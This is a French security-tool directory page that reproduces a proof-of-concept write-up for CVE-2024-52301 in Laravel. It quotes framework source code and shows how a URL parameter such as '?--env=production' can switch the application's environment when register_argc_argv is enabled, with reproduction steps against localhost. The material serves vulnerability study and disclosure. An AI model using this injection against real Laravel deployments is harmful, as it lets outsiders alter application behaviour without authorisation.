Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-52301 — Preuve de concept d'exploit pour CVE-2024-52301 démontrant la manipulation de l'environnement dans Laravel via des paramètres d'URL injectés, avec une analyse de code détaillée et des étapes de reproduction. | Kitploit
Outils/GitHubGitHub/nyamort/cve-2024-52301
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubnyamort/cve-2024-52301

CVE-2024-52301

Preuve de concept d'exploit pour CVE-2024-52301 démontrant la manipulation de l'environnement dans Laravel via des paramètres d'URL injectés, avec une analyse de code détaillée et des étapes de reproduction.

Voir le dépôt
2133il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de Concept CVE-2024-52301

Cette vulnérabilité est basée sur la vulnérabilité CVE-2024-50340

Prérequis

L'option register_argc_argv doit être activée dans le fichier de configuration PHP (php.ini). Ce paramètre charge les arguments de la ligne de commande et les paramètres de requête dans $_SERVER['argv'].

https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Explication du code vulnérable

root@kitploit:~

//Illuminate\Foundation\Application
public function detectEnvironment (Closure $callback)
{
    $args = $_SERVER['argv'] ?? null;

    return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}

Objectif : Cette méthode détecte l'environnement en accédant à $_SERVER['argv'], qui contient les arguments de la ligne de commande, puis délègue à la classe EnvironmentDetector.

Source de la vulnérabilité : En se fiant à $_SERVER['argv'], tous paramètres d'URL injectés (par exemple, ?--env=dev) pourraient manipuler $_SERVER['argv'] pour qu'il contienne ["--env=dev"]. Ce tableau est passé directement à detect, permettant potentiellement à un attaquant de contrôler l'environnement.

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
public function detect(Closure $callback, $consoleArgs = null)
{
    if ($consoleArgs) {
        return $this->detectConsoleEnvironment($callback, $consoleArgs);
    }

    return $this->detectWebEnvironment($callback);
}

Objectif : La méthode detect détermine si $consoleArgs (le tableau argv) est fourni. Si présent, elle appelle detectConsoleEnvironment pour gérer la détection d'environnement basée sur la console ; sinon, elle appelle detectWebEnvironment pour les requêtes HTTP.

Chemin vers la vulnérabilité : Si $_SERVER['argv'] contient des valeurs injectées comme --env=dev, cela mène à detectConsoleEnvironment, qui traite les arguments et pourrait basculer l'application vers un environnement différent.

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
protected function detectConsoleEnvironment(Closure $callback, array $args)
{
    // First we will check if an environment argument was passed via console arguments
    // and if it was that automatically overrides as the environment. Otherwise, we
    // will check the environment as a "web" request like a typical HTTP request.
    if (! is_null($value = $this->getEnvironmentArgument($args))) {
        return $value;
    }

    return $this->detectWebEnvironment($callback);
}

Objectif : Cette méthode vérifie si l'argument --env est présent parmi les arguments de la console.

Mécanisme : Elle appelle getEnvironmentArgument pour voir si l'un des arguments argv spécifie un environnement. Si --env est fourni, cette méthode renvoie la valeur d'environnement spécifiée, contournant l'appel à detectWebEnvironment.

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
protected function getEnvironmentArgument(array $args)
{
    foreach ($args as $i => $value) {
        if ($value === '--env') {
            return $args[$i + 1] ?? null;
        }

        if (str_starts_with($value, '--env=')) {
            return head(array_slice(explode('=', $value), 1));
        }
    }
}

Objectif : Cette méthode analyse argv pour trouver l'argument --env. Mécanisme :

Si --env est trouvé comme indicateur autonome, elle renvoie l'argument suivant comme valeur d'environnement.

Si la syntaxe --env= est utilisée (par exemple, --env=dev), elle extrait et renvoie l'environnement (dev dans ce cas).

Exemple de Preuve de Concept

Configuration de l'environnement :

Le fichier .env contient APP_ENV=development, donc par défaut, l'application est réglée sur l'environnement de développement.

root@kitploit:~
@production
    <p>Production environment</p>
@endproduction

@env ('local')
    <p>Local environment</p>
@endenv

Accès par défaut (http://localhost) :
Comme APP_ENV est réglé sur development et qu'aucun argument --env n'est injecté, ni la directive @production ni @env('local') ne correspondent.
Résultat : La sortie est vide.

Argument injecté pour Production (http://localhost?--env=production) :
Avec ?--env=production dans l'URL, $_SERVER['argv'] est manipulé pour contenir ["--env=production"].
Cela déclenche le mécanisme de détection d'environnement de Laravel, réglant l'environnement sur production.
Résultat : La directive @production produit <p>Production environment</p>.

Argument injecté pour Local (http://localhost?--env=local) :
Avec ?--env=local, $_SERVER['argv'] inclut ["--env=local"], changeant l'environnement en local.
Résultat : La directive @env('local') produit <p>Local environment</p>

Attention

Cette vulnérabilité ne permet pas de changer l'environnement au sein de la fonction config. Au lieu de cela, elle affecte uniquement le réglage de l'environnement dans la classe Application.

Ainsi, bien que les directives Blade et d'autres parties du code s'appuient sur la classe Application pour détecter l'environnement, le code utilisant la fonction config n'est pas affecté par cette vulnérabilité.

Télécharger l’outil